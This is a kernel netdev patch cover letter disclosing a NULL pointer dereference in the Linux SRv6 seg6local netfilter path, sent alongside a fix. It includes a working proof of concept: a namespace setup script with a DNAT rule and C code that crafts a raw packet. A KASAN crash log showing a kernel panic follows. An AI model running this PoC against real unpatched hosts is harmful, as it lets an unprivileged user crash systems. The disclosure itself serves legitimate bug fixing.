From: Ren Wei <weir@nebusec.ai>
To: netdev@vger.kernel.org
Cc: andrea.mayer@uniroma2.it, davem@davemloft.net,
edumazet@kernel.org, kuba@kernel.org, pabeni@redhat.com,
horms@kernel.org, pablo@netfilter.org, contact@proelbtn.com,
vega@nebusec.ai, sashiko-bot@kernel.org, petalzu987@gmail.com,
weir@nebusec.ai
Subject: [PATCH net 0/1] seg6: validate state in netfilter continuations
Date: Thu, 1 Oct 2026 02:08:52 +0800 [thread overview]
Message-ID: <cover.1790748418.git.petalzu987@gmail.com> (raw)
From: Zixuan Chai <petalzu987@gmail.com>
Hi Linux kernel maintainers,
We reproduced a NULL pointer dereference in the SRv6 netfilter
continuation path in net/ipv6/seg6_local.c. A local unprivileged user can
trigger it through user and network namespaces when unprivileged user
namespaces are enabled.
This bug is tracked at: https://bugtracker.nebusec.ai/f/11977
We will provide detailed information about the bug
in this email, along with a PoC to trigger it.
---- details below ----
Bug details:
The End.DX4/End.DX6 continuations assume skb_dst(skb) still contains the
original SRv6 local route after netfilter. DNAT can drop or replace that
destination, so dereferencing its lwtstate can crash. In
seg6_iptunnel, SNAT with an outbound XFRM policy can replace the
destination before seg6_output_core() resumes. The patch validates the
SEG6 state after netfilter and resolves and holds the underlying SEG6
state across XFRM processing. The reproducer enables
net.netfilter.nf_hooks_lwtunnel=1 in its namespace.
Reproducer:
make
sh poc.sh namespace
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
------BEGIN poc.sh------
#!/bin/sh
set -eu
PATH=/usr/sbin:/usr/bin:/sbin:/bin${PATH:+:$PATH}
SELF=$(readlink -f "$0")
DIR=$(dirname "$SELF")
BIN="$DIR/poc"
cleanup_root() {
ip link del src0 2>/dev/null || true
ip link del hs0 2>/dev/null || true
}
build_poc() {
cc -O2 -Wall -Wextra -o "$BIN" "$DIR/poc.c"
}
setup_and_trigger_dx4() {
ip link add src0 type veth peer name rt0
ip link add hs0 type veth peer name rth0
ip link set lo up
ip addr add 2001:11::1/64 dev src0 nodad
ip addr add 10.0.0.22/24 dev rth0
ip link set src0 up
ip link set rt0 up
ip link set hs0 up
ip link set rth0 up
sysctl -wq net.ipv4.ip_forward=1
sysctl -wq net.ipv6.conf.all.forwarding=1
sysctl -wq net.netfilter.nf_hooks_lwtunnel=1
sysctl -wq net.ipv4.conf.all.rp_filter=0
ip -6 route add fc00:12:100::6004/128 table 100 \
encap seg6local action End.DX4 nh4 10.0.0.2 dev rth0
ip -6 rule add iif rt0 to fc00:12:100::6004/128 lookup 100 pref 100
iptables -t nat -A PREROUTING -d 10.0.0.2 \
-j DNAT --to-destination 10.0.0.99
exec "$BIN" src0 rt0
}
case "${1:-namespace}" in
namespace)
build_poc
exec unshare -Urn -- "$SELF" inner
;;
inner)
setup_and_trigger_dx4
;;
root)
trap cleanup_root EXIT
build_poc
setup_and_trigger_dx4
;;
*)
echo "usage: $0 [namespace|root]" >&2
exit 2
;;
esac
------END poc.sh--------
------BEGIN poc.c------
#include <arpa/inet.h>
#include <errno.h>
#include <linux/if_packet.h>
#include <net/ethernet.h>
#include <net/if.h>
#include <netinet/icmp6.h>
#include <netinet/ip.h>
#include <netinet/ip6.h>
#include <netinet/udp.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
static uint16_t checksum(const void *data, size_t len)
{
const uint8_t *bytes = data;
uint32_t sum = 0;
size_t i;
for (i = 0; i + 1 < len; i += 2)
sum += ((uint32_t)bytes[i] << 8) | bytes[i + 1];
if (len & 1)
sum += (uint32_t)bytes[len - 1] << 8;
while (sum >> 16)
sum = (sum & 0xffff) + (sum >> 16);
return (uint16_t)~sum;
}
static void die(const char *msg)
{
perror(msg);
exit(1);
}
static void get_if_hwaddr(int fd, const char *ifname, unsigned char *mac)
{
struct ifreq ifr = {0};
strncpy(ifr.ifr_name, ifname, IFNAMSIZ - 1);
if (ioctl(fd, SIOCGIFHWADDR, &ifr) < 0)
die("SIOCGIFHWADDR");
memcpy(mac, ifr.ifr_hwaddr.sa_data, ETH_ALEN);
}
static int get_ifindex(int fd, const char *ifname)
{
struct ifreq ifr = {0};
strncpy(ifr.ifr_name, ifname, IFNAMSIZ - 1);
if (ioctl(fd, SIOCGIFINDEX, &ifr) < 0)
die("SIOCGIFINDEX");
return ifr.ifr_ifindex;
}
int main(int argc, char **argv)
{
static const char payload[] = "dx4";
struct sockaddr_ll sll = {0};
struct ether_header *eth;
struct ip6_hdr *ip6;
struct iphdr *ip4;
struct udphdr *udp;
unsigned char src_mac[ETH_ALEN];
unsigned char dst_mac[ETH_ALEN];
unsigned char frame[sizeof(*eth) + sizeof(*ip6) + sizeof(*ip4) +
sizeof(*udp) + sizeof(payload)];
const char *tx_if;
const char *peer_if;
size_t off;
int fd;
if (argc != 3) {
fprintf(stderr, "usage: %s <tx-if> <peer-if>\n", argv[0]);
return 2;
}
tx_if = argv[1];
peer_if = argv[2];
fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_IPV6));
if (fd < 0)
die("socket(AF_PACKET)");
get_if_hwaddr(fd, tx_if, src_mac);
get_if_hwaddr(fd, peer_if, dst_mac);
memset(frame, 0, sizeof(frame));
off = 0;
eth = (struct ether_header *)(frame + off);
memcpy(eth->ether_shost, src_mac, ETH_ALEN);
memcpy(eth->ether_dhost, dst_mac, ETH_ALEN);
eth->ether_type = htons(ETH_P_IPV6);
off += sizeof(*eth);
ip6 = (struct ip6_hdr *)(frame + off);
ip6->ip6_flow = htonl(6U << 28);
ip6->ip6_plen = htons(sizeof(*ip4) + sizeof(*udp) + sizeof(payload));
ip6->ip6_nxt = IPPROTO_IPIP;
ip6->ip6_hops = 64;
if (inet_pton(AF_INET6, "2001:11::1", &ip6->ip6_src) != 1)
die("inet_pton outer src");
if (inet_pton(AF_INET6, "fc00:12:100::6004", &ip6->ip6_dst) != 1)
die("inet_pton outer dst");
off += sizeof(*ip6);
ip4 = (struct iphdr *)(frame + off);
ip4->version = 4;
ip4->ihl = 5;
ip4->ttl = 64;
ip4->protocol = IPPROTO_UDP;
ip4->tot_len = htons(sizeof(*ip4) + sizeof(*udp) + sizeof(payload));
ip4->saddr = inet_addr("10.0.0.1");
ip4->daddr = inet_addr("10.0.0.2");
ip4->check = checksum(ip4, sizeof(*ip4));
off += sizeof(*ip4);
udp = (struct udphdr *)(frame + off);
udp->source = htons(4442);
udp->dest = htons(5555);
udp->len = htons(sizeof(*udp) + sizeof(payload));
udp->check = 0;
off += sizeof(*udp);
memcpy(frame + off, payload, sizeof(payload));
sll.sll_family = AF_PACKET;
sll.sll_protocol = htons(ETH_P_IPV6);
sll.sll_ifindex = get_ifindex(fd, tx_if);
sll.sll_halen = ETH_ALEN;
memcpy(sll.sll_addr, dst_mac, ETH_ALEN);
if (sendto(fd, frame, sizeof(frame), 0, (struct sockaddr *)&sll,
sizeof(sll)) < 0)
die("sendto");
close(fd);
return 0;
}
------END poc.c--------
----BEGIN crash log----
[ 282.938765][ C1] Oops: general protection fault, probably for non-canonical address 0xdffffc0000000011: 0000 [#1] SMP KASAN NOPTI
[ 282.940383][ C1] KASAN: null-ptr-deref in range [0x0000000000000088-0x000000000000008f]
[ 282.941364][ C1] CPU: 1 UID: 1001 PID: 9510 Comm: poc Not tainted 7.3.0-rc4-00385-ga7bfaba4823e #1 PREEMPT(full)
[ 282.942592][ C1] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014
[ 282.943657][ C1] RIP: 0010:input_action_end_dx4_finish+0x7b/0x560
[ 282.944434][ C1] Code: 0f 85 88 02 00 00 e8 e4 dc 65 f7 49 89 df 48 b8 00 00 00 00 00 fc ff df 49 83 e7 fe 49 8d bf 88 00 00 00 48 89 fa 48 c1 ea 03 <80> 3c 02 00 0f 85 78 04 00 00 48 8d bd d0 00 00 00 4d 8b b7 88 00
[ 282.946549][ C1] RSP: 0018:ffa00000001c8890 EFLAGS: 00010206
[ 282.947233][ C1] RAX: dffffc0000000000 RBX: 0000000000000000 RCX: 0000000000000101
[ 282.948117][ C1] RDX: 0000000000000011 RSI: ffffffff8a5c336c RDI: 0000000000000088
[ 282.948958][ C1] RBP: ff11000031aafa80 R08: 0000000000000101 R09: ffe21c0009c10fbc
[ 282.949798][ C1] R10: 0000000000000000 R11: 0000000000000001 R12: 0000000000000000
[ 282.950637][ C1] R13: ff11000031aafad8 R14: 0000000000000000 R15: 0000000000000000
[ 282.951476][ C1] FS: 00007f021ffa2540(0000) GS:ff110000d5775000(0000) knlGS:0000000000000000
[ 282.952400][ C1] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 282.953074][ C1] CR2: 00007f021ff4a423 CR3: 000000004e14b000 CR4: 0000000000753ef0
[ 282.953881][ C1] PKRU: 55555554
[ 282.954263][ C1] Call Trace:
[ 282.954610][ C1] <IRQ>
[ 282.954912][ C1] input_action_end_dx4+0x366/0x480
[ 282.955457][ C1] seg6_local_input_core+0x106/0x330
[ 282.956038][ C1] seg6_local_input+0x185/0x1e0
[ 282.956513][ C1] lwtunnel_input+0x30d/0x770
[ 282.956978][ C1] ? __pfx_lwtunnel_input+0x10/0x10
[ 282.957487][ C1] ipv6_rcv+0x365/0x3d0
[ 282.957899][ C1] ? __pfx_ipv6_rcv+0x10/0x10
[ 282.958361][ C1] deliver_skb+0x182/0x270
[ 282.958800][ C1] __netif_receive_skb_core.constprop.0+0x1584/0x3320
[ 282.959455][ C1] ? lock_acquire+0x1bf/0x370
[ 282.959922][ C1] ? __pfx___netif_receive_skb_core.constprop.0+0x10/0x10
[ 282.960587][ C1] ? notifier_call_chain+0xbd/0x430
[ 282.961075][ C1] ? __lock_acquire+0x509/0x2110
[ 282.961537][ C1] ? __css_rstat_updated+0x1c0/0x570
[ 282.962032][ C1] ? __pfx___css_rstat_updated+0x10/0x10
[ 282.962568][ C1] ? __lock_acquire+0x509/0x2110
[ 282.963031][ C1] __netif_receive_skb_one_core+0xaf/0x1e0
[ 282.963578][ C1] ? __pfx___netif_receive_skb_one_core+0x10/0x10
[ 282.964182][ C1] ? process_backlog+0x330/0x1540
[ 282.964643][ C1] ? process_backlog+0x330/0x1540
[ 282.965101][ C1] __netif_receive_skb+0x1d/0x160
[ 282.965560][ C1] process_backlog+0x382/0x1540
[ 282.966005][ C1] __napi_poll.constprop.0+0xb3/0x540
[ 282.966493][ C1] net_rx_action+0x9b1/0xea0
[ 282.966918][ C1] ? __pfx_net_rx_action+0x10/0x10
[ 282.967384][ C1] ? kvm_sched_clock_read+0x16/0x30
[ 282.967858][ C1] ? sched_clock+0x39/0x60
[ 282.968251][ C1] ? sched_clock_cpu+0x6c/0x550
[ 282.968682][ C1] ? __pfx_sched_clock_cpu+0x10/0x10
[ 282.969147][ C1] ? sched_clock_cpu+0x6c/0x550
[ 282.969577][ C1] ? __dev_queue_xmit+0xe49/0x4350
[ 282.970029][ C1] handle_softirqs+0x1d3/0x990
[ 282.970452][ C1] ? __dev_queue_xmit+0xe49/0x4350
[ 282.970899][ C1] do_softirq+0xad/0xe0
[ 282.971270][ C1] </IRQ>
[ 282.971527][ C1] <TASK>
[ 282.971790][ C1] __local_bh_enable_ip+0x109/0x130
[ 282.972246][ C1] ? __dev_queue_xmit+0xe49/0x4350
[ 282.972695][ C1] __dev_queue_xmit+0xe5e/0x4350
[ 282.973130][ C1] ? __might_fault+0x138/0x190
[ 282.973549][ C1] ? __pfx___dev_queue_xmit+0x10/0x10
[ 282.974017][ C1] ? __might_fault+0xe0/0x190
[ 282.974432][ C1] ? _copy_from_iter+0x14b/0x1710
[ 282.974882][ C1] ? __pfx__copy_from_iter+0x10/0x10
[ 282.975344][ C1] ? __pfx_ref_tracker_alloc+0x10/0x10
[ 282.975825][ C1] ? __sanitizer_cov_trace_switch+0x54/0x90
[ 282.976340][ C1] ? packet_parse_headers+0x29e/0x840
[ 282.976811][ C1] ? __pfx_packet_parse_headers+0x10/0x10
[ 282.977309][ C1] packet_xmit+0x247/0x370
[ 282.977705][ C1] packet_sendmsg+0x2fd2/0x4d80
[ 282.978138][ C1] ? sock_has_perm+0x21f/0x2c0
[ 282.978560][ C1] ? __pfx_sock_has_perm+0x10/0x10
[ 282.979008][ C1] ? __sanitizer_cov_trace_switch+0x54/0x90
[ 282.979522][ C1] ? __pfx_packet_sendmsg+0x10/0x10
[ 282.979990][ C1] ? selinux_socket_sendmsg+0x18f/0x2e0
[ 282.980473][ C1] ? __pfx_packet_sendmsg+0x10/0x10
[ 282.980927][ C1] __sys_sendto+0x4c3/0x510
[ 282.981329][ C1] ? __pfx___sys_sendto+0x10/0x10
[ 282.981776][ C1] ? sock_ioctl+0x3c8/0x6a0
[ 282.982177][ C1] ? selinux_file_ioctl+0x189/0x280
[ 282.982633][ C1] ? selinux_file_ioctl+0xbb/0x280
[ 282.983083][ C1] __x64_sys_sendto+0xe0/0x1c0
[ 282.983507][ C1] ? lockdep_hardirqs_on+0x7d/0x110
[ 282.983968][ C1] do_syscall_64+0x128/0x7b0
[ 282.984377][ C1] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 282.984890][ C1] RIP: 0033:0x7f021feca046
[ 282.985278][ C1] Code: 0e 0d 00 f7 d8 64 89 02 48 c7 c0 ff ff ff ff eb b8 0f 1f 00 41 89 ca 64 8b 04 25 18 00 00 00 85 c0 75 11 b8 2c 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 72 c3 90 55 48 83 ec 30 44 89 4c 24 2c 4c 89
[ 282.986898][ C1] RSP: 002b:00007ffe7fe0e1a8 EFLAGS: 00000246 ORIG_RAX: 000000000000002c
[ 282.987619][ C1] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f021feca046
[ 282.988292][ C1] RDX: 0000000000000056 RSI: 00007ffe7fe0e210 RDI: 0000000000000003
[ 282.988966][ C1] RBP: 0000000000000003 R08: 00007ffe7fe0e1c0 R09: 0000000000000014
[ 282.989637][ C1] R10: 0000000000000000 R11: 0000000000000246 R12: 00007ffe7fe0ee62
[ 282.990312][ C1] R13: 00007ffe7fe0ee67 R14: 0000000000000000 R15: 0000000000000000
[ 282.990987][ C1] </TASK>
[ 282.991257][ C1] Modules linked in:
[ 282.991649][ C1] ---[ end trace 0000000000000000 ]---
[ 282.992127][ C1] RIP: 0010:input_action_end_dx4_finish+0x7b/0x560
[ 282.992145][ C1] Code: 0f 85 88 02 00 00 e8 e4 dc 65 f7 49 89 df 48 b8 00 00 00 00 00 fc ff df 49 83 e7 fe 49 8d bf 88 00 00 00 48 89 fa 48 c1 ea 03 <80> 3c 02 00 0f 85 78 04 00 00 48 8d bd d0 00 00 00 4d 8b b7 88 00
[ 282.992156][ C1] RSP: 0018:ffa00000001c8890 EFLAGS: 00010206
[ 282.992166][ C1] RAX: dffffc0000000000 RBX: 0000000000000000 RCX: 0000000000000101
[ 282.992193][ C1] RDX: 0000000000000011 RSI: ffffffff8a5c336c RDI: 0000000000000088
[ 282.992200][ C1] RBP: ff11000031aafa80 R08: 0000000000000101 R09: ffe21c0009c10fbc
[ 282.992208][ C1] R10: 0000000000000000 R11: 0000000000000001 R12: 0000000000000000
[ 282.992215][ C1] R13: ff11000031aafad8 R14: 0000000000000000 R15: 0000000000000000
[ 282.992223][ C1] FS: 00007f021ffa2540(0000) GS:ff110000d5775000(0000) knlGS:0000000000000000
[ 282.992235][ C1] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 282.992243][ C1] CR2: 00007f021ff4a423 CR3: 000000004e14b000 CR4: 0000000000753ef0
[ 282.992250][ C1] PKRU: 55555554
[ 282.992256][ C1] Kernel panic - not syncing: Fatal exception in interrupt
[ 283.001450][ C1] Kernel Offset: disabled
[ 283.001825][ C1] Rebooting in 86400 seconds..
-----END crash log-----
Best regards,
Zixuan Chai
Zixuan Chai (1):
seg6: validate state in netfilter continuations
net/ipv6/seg6_iptunnel.c | 62 +++++++++++++++++++++++++++++-----------
net/ipv6/seg6_local.c | 34 ++++++++++++++++++----
2 files changed, 73 insertions(+), 23 deletions(-)
base-commit: a7bfaba4823e3c165bb2004c74eff7c096672bc7
--
2.34.1
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